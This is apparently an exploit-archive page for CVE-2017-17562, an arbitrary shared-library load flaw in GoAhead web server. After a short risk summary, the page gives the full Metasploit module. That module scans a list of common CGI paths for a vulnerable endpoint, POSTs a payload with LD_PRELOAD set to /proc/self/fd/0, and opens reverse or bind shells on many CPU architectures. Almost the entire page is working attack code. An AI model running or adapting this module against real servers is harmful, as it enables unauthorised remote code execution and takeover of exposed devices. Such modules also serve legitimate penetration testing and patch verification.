GoAhead Web Server LD_PRELOAD Arbitrary Module Load

2018.01.24
Credit: hdm
Risk: High
Local: No
Remote: Yes
CWE: CWE-20


CVSS Base Score: 6.8/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'GoAhead Web Server LD_PRELOAD Arbitrary Module Load', 'Description' => %q{ This module triggers an arbitrary shared library load vulnerability in GoAhead web server versions between 2.5 and that have the CGI module enabled. }, 'Author' => [ 'Daniel Hodson <daniel[at]elttam.com.au>', # Elttam Vulnerability Discovery & Python Exploit 'h00die', # Metasploit Module 'hdm', # Metasploit Module ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2017-17562' ], [ 'URL', 'https://www.elttam.com.au/blog/goahead/' ] ], 'Payload' => { 'Space' => 5000, 'DisableNops' => true }, 'Platform' => 'linux', 'Targets' => [ [ 'Automatic (Reverse Shell)', { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ], 'ReverseStub' => true, 'Payload' => { 'Compat' => { 'PayloadType' => 'cmd_reverse_stub', 'ConnectionType' => 'reverse', } } } ], [ 'Automatic (Bind Shell)', { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ], 'BindStub' => true, 'Payload' => { 'Compat' => { 'PayloadType' => 'cmd_bind_stub', 'ConnectionType' => 'bind' } } } ], [ 'Automatic (Command)', { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] } ], [ 'Linux x86', { 'Arch' => ARCH_X86 } ], [ 'Linux x86_64', { 'Arch' => ARCH_X64 } ], [ 'Linux ARM (LE)', { 'Arch' => ARCH_ARMLE } ], [ 'Linux ARM64', { 'Arch' => ARCH_AARCH64 } ], [ 'Linux MIPS', { 'Arch' => ARCH_MIPS } ], [ 'Linux MIPSLE', { 'Arch' => ARCH_MIPSLE } ], [ 'Linux MIPS64', { 'Arch' => ARCH_MIPS64 } ], [ 'Linux MIPS64LE', { 'Arch' => ARCH_MIPS64LE } ], # PowerPC stubs are currently over the 16384 maximum POST size # [ 'Linux PPC', { 'Arch' => ARCH_PPC } ], # [ 'Linux PPC64', { 'Arch' => ARCH_PPC64 } ], # [ 'Linux PPC64 (LE)', { 'Arch' => ARCH_PPC64LE } ], [ 'Linux SPARC', { 'Arch' => ARCH_SPARC } ], [ 'Linux SPARC64', { 'Arch' => ARCH_SPARC64 } ], [ 'Linux s390x', { 'Arch' => ARCH_ZARCH } ], ], 'DefaultOptions' => { 'SHELL' => '/bin/sh', }, 'Privileged' => false, 'DisclosureDate' => 'Dec 18 2017', # June 9th, technically, via github commit. 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGET_URI', [false, 'The path to a CGI script on the GoAhead server']) ]) end # Setup our mapping of Metasploit architectures to gcc architectures def setup super @@payload_arch_mappings = { ARCH_X86 => [ 'x86' ], ARCH_X64 => [ 'x86_64' ], ARCH_MIPS => [ 'mips' ], ARCH_MIPSLE => [ 'mipsel' ], ARCH_MIPSBE => [ 'mips' ], ARCH_MIPS64 => [ 'mips64' ], ARCH_MIPS64LE => [ 'mips64el' ], # PowerPC stubs are currently over the 16384 maximum POST size # ARCH_PPC => [ 'powerpc' ], # ARCH_PPC64 => [ 'powerpc64' ], # ARCH_PPC64LE => [ 'powerpc64le' ], ARCH_SPARC => [ 'sparc' ], ARCH_SPARC64 => [ 'sparc64' ], ARCH_ARMLE => [ 'armel', 'armhf' ], ARCH_AARCH64 => [ 'aarch64' ], ARCH_ZARCH => [ 's390x' ], } # Architectures we don't offically support but can shell anyways with interact @@payload_arch_bonus = %W{ mips64el sparc64 s390x } # General platforms (OS + C library) @@payload_platforms = %W{ linux-glibc } end # Use fancy payload wrappers to make exploitation a joyously lazy exercise def cycle_possible_payloads template_base = ::File.join(Msf::Config.data_directory, "exploits", "CVE-2017-17562") template_list = [] template_type = nil template_arch = nil # Handle the generic command types first if target.arch.include?(ARCH_CMD) # Default to a system() template template_type = 'system' # Handle reverse_tcp() templates if target['ReverseStub'] template_type = 'reverse' end # Handle reverse_tcp() templates if target['BindStub'] template_type = 'bind' end all_architectures = @@payload_arch_mappings.values.flatten.uniq # Prioritize the most common architectures first %W{ x86_64 x86 armel armhf mips mipsel }.each do |t_arch| template_list << all_architectures.delete(t_arch) end # Queue up the rest for later all_architectures.each do |t_arch| template_list << t_arch end # Handle the specific architecture targets next else template_type = 'shellcode' target.arch.each do |t_name| @@payload_arch_mappings[t_name].each do |t_arch| template_list << t_arch end end end # Remove any duplicates that may have snuck in template_list.uniq! # Cycle through each top-level platform we know about @@payload_platforms.each do |t_plat| # Cycle through each template and yield template_list.each do |t_arch| wrapper_path = ::File.join(template_base, "goahead-cgi-#{template_type}-#{t_plat}-#{t_arch}.so.gz") unless ::File.exist?(wrapper_path) raise RuntimeError.new("Missing executable template at #{wrapper_path}") end data = '' ::File.open(wrapper_path, "rb") do |fd| data = Rex::Text.ungzip(fd.read) end pidx = data.index('PAYLOAD') if pidx data[pidx, payload.encoded.length] = payload.encoded end if %W{reverse bind}.include?(template_type) pidx = data.index("55555") if pidx data[pidx, 5] = datastore['LPORT'].to_s.ljust(5) end end if 'reverse' == template_type pidx = data.index("000.000.000.000") if pidx data[pidx, 15] = datastore['LHOST'].to_s.ljust(15) end end vprint_status("Using payload wrapper 'goahead-cgi-#{template_type}-#{t_arch}'...") yield(data) # Introduce a small delay for the payload to stage Rex.sleep(0.50) # Short-circuit once we have a session return if session_created? end end end # Start the shell train def exploit # Find a valid CGI target target_uri = find_target_cgi return unless target_uri # Create wrappers for each potential architecture cycle_possible_payloads do |wrapped_payload| # Trigger the vulnerability and run the payload trigger_payload(target_uri, wrapped_payload) return if session_created? end end # Determine whether the target is exploitable def check # Find a valid CGI target target_uri = find_target_cgi unless target_uri return Exploit::CheckCode::Unknown end return Exploit::CheckCode::Vulnerable end # Upload and LD_PRELOAD execute the shared library payload def trigger_payload(target_uri, wrapped_payload) res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri), 'vars_get' => { 'LD_PRELOAD' => '/proc/self/fd/0' }, 'data' => wrapped_payload }) nil end # Find an exploitable CGI endpoint. These paths were identified by mining Sonar HTTP datasets def find_target_cgi target_uris = [] common_dirs = %W^ / /cgi-bin/ /cgi/ ^ common_exts = ["", ".cgi"] common_cgis = %W^ admin apply non-CA-rev checkCookie check_user chn/liveView cht/liveView cnswebserver config configure/set_link_neg configure/swports_adjust eng/liveView firmware getCheckCode get_status getmac getparam guest/Login home htmlmgr index index/login jscript kvm liveView login login.asp login/login login/login-page login_mgr luci main main-cgi manage/login menu mlogin netbinary nobody/Captcha nobody/VerifyCode normal_userLogin otgw page rulectl service set_new_config sl_webviewer ssi status sysconf systemutil t/out top unauth upload variable wanstatu webcm webmain webproc webscr webviewLogin webviewLogin_m64 webviewer welcome cgitest ^ if datastore['TARGET_URI'].to_s.length > 0 target_uris << datastore['TARGET_URI'] end common_dirs.each do |cgi_dir| common_cgis.each do |cgi_path| common_exts.each do |cgi_ext| target_uris << "#{cgi_dir}#{cgi_path}#{cgi_ext}" end end end print_status("Searching #{target_uris.length} paths for an exploitable CGI endpoint...") target_uris.each do |uri| if is_cgi_exploitable?(uri) print_good("Exploitable CGI located at #{uri}") return uri end end print_error("No valid CGI endpoints identified") return end # Use the output of LD_DEBUG=help to determine whether an endpoint is exploitable def is_cgi_exploitable?(uri) res = send_request_cgi({'uri' => uri, 'method' => 'POST', 'vars_get' => { 'LD_DEBUG' => 'help' }}) if res vprint_status("Request for #{uri} returned #{res.code}: #{res.message}") else vprint_status("Request for #{uri} did not return a response") end !!(res && res.body && res.body.to_s.include?("LD_DEBUG_OUTPUT")) end # This sometimes determines if the CGI module is enabled, but doesn't seem # to return the error to the client in newer versions. Unused for now. def is_cgi_enabled? return true res = send_request_cgi({'uri' => "/cgi-bin"}) !!(res && res.body && res.body.to_s.include?("Missing CGI name")) end end


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